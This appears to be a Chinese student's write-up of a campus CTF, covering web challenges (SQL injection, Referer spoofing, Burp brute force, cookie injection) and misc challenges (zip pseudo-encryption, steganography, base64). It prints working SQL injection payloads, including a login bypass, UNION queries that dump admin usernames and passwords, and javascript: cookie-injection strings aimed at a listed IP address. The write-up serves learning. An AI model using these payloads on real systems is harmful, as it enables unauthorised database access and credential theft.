记一次校园联赛ctf
web
————————————————————————————————————————————————————————————————————————————————————————————
1.Hello World
打开是一个弹框和一张图片,直接F12查看下,发现注释里有个flag.txt ,地址栏打开这个文件,falg成功得到
2.你做得 出来吗?
弹出来个计算器,输入正确数字发现只能一个长度的数字,那就F12选中这个文本框修改长度,成功得到flag
3.账号登录
打开题目是一个账号登录界面,F12一下,发现
结合题目提示是SQLi2,猜想可能于SQL注入有关,使用万能密码直接秒掉
万能密码 :
用户名:admin' or 'a'='a
密码随便
成功拿到flag
登录成功!我的座右铭(flag)是iamflagsafsfskdf11223
4.
5.撸猫大作战
打开链接是一个猫舍,地址栏带参数,猜想可能是SQL注入
①找注入点
?id=1 and 1=1 ------ 显示正常
?id=1 and 1=2 ------ 不显示
②猜列数、报显示位
?id=1 order by 2 ------查询了两列
?id=466454 select 1,2 ------将id设为一个不存在的数,看显示位
③查看数据库版本和当前数据库名
?id=132321 union select 1,version() %23
?id=132321 union select 1,database() %23
数据库>5.0,可以使用information_schema进行后续操作。
④得到表名
?id=132321 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() %23
根据题意,是得到管理员密码,之后操作admin表
⑤爆字段名
?id=132321 union select 1,group_concat(username) from admin %23
?id=132321 union select 1,group_concat(password) from admin %23
6.你从哪里来?
点开链接
是这玩意,他问你是不是来自谷歌那你就让自己来自谷歌,上burp抓包,改referer
要点:
HTTP_REFERER 编辑
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,
告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。
简而言之,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,
一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器藉此可以获得一些信息用于处理。
比如从我主页上链接到一个朋友那里,他的服务器就能够从HTTP Referer中统计出每天有多少用户点击我主页上的链接访问他的网站。
Referer的正确英语拼法是referrer。
由于早期HTTP规范的拼写错误,为了保持向后兼容就将错就错了。
其它网络技术的规范企图修正此问题,使用正确拼法,所以目前拼法不统一。
7.输入密码查看flag
点开链接是一个登陆界面
根据个人经验,加地址栏提示,应该爆破,上burp抓包,
选择爆破方式,清除原来的爆破位置,选择pwd的位置
根据提示,五位数密码,那就从10000-99999
开始爆破
按长度排序,根据长度得到密码,进而根据响应包,得到flag
8.曲奇
打开链接,随便打开一个页面,发现有参数,参数单引号注入,但是报错
看提示,and也不能用了,先用order by暴字段数,order by 10返回正常,order by 11报错,有10个字段数
union select也不能用,猜想是cookie注入,把参数id=169去掉后访问,报错
地址栏输入 javascript:alert(document.cookie="id="+escape("169")); 弹出对话框
.再次访问http://117.167.136.245:10181/shownews.asp? 返回正常
再次验证了是cookie注入,构造语句暴出位置,并猜解表名,说明存在admin这个表
javascript:alert(document.cookie="id="+escape("169+union+select+1,2,3,4,5,6,7,8,9,10+from+admin")); (+号代表空格,直接输入空格会报错)
访问查看
继续,猜解字段和暴值,
javascript:alert(document.cookie="id="+escape("169+union+select+1,username,password,4,5,6,7,8,9,10+from+admin"));
查看
MD5解密得
根据题目要求,flag{password},所以falg{password}
9.渗透测试
打开链接是一个
看F12,没有任何用,按照惯例,没有账号,先注册,
注册后弹到手机号绑定页面
随便输入一个手机号弹出
既然说给你那就f12下,发现真的有个手机号
那就用这个手机号进行绑定
杂项
————————————————————————————————————————————————————
1.就在这里
打开给出的一个flag.zip的压缩包,解压后得到一个flag.exe文件,用winhex打开发现这是一个base64转图片的文件
将文件后缀改为flag.txt,打开之后利用在线工具将base64编码转为图片
扫描二维码成功拿到flag
2.zip的秘密
题目给出一个压缩包,下载后解压发现需要密码,扔到winhex发现还是一个zip压缩包,检查数据发现,zip包利用了伪加密,更改数据
将此处的09改为00,成功解密,得到flag.txt文件,打开后得到flag
3.stego 啾咪
打开给出的图片,用winhex打开,未发现什么特殊,接着用stegolve打开,
得到一串base64编码,将文件保存为text打开得到base64编码,用解码工具进行解码
4.基础破解
首先下载压缩包发现压缩包没有后缀,不知道文件后缀是什么,扔到winhex查看后发现的确是zip压缩包,为文件名添加后缀.zip 解压之后发现是另一个压缩包 另一个压缩包上写着基础破解
然后用暴力破解的方法破解 然后搜了一下 暴力破解一般的长度是多少
然后搜到的结果是 长度为8的时候电脑都要破解好几年,所以猜想密码为长度是4
成功破解,打开flag.txt文件,文件里面是一个用base64加密的一串密码 然后用base64 解码得到flag
先写到这里吧,未完待续...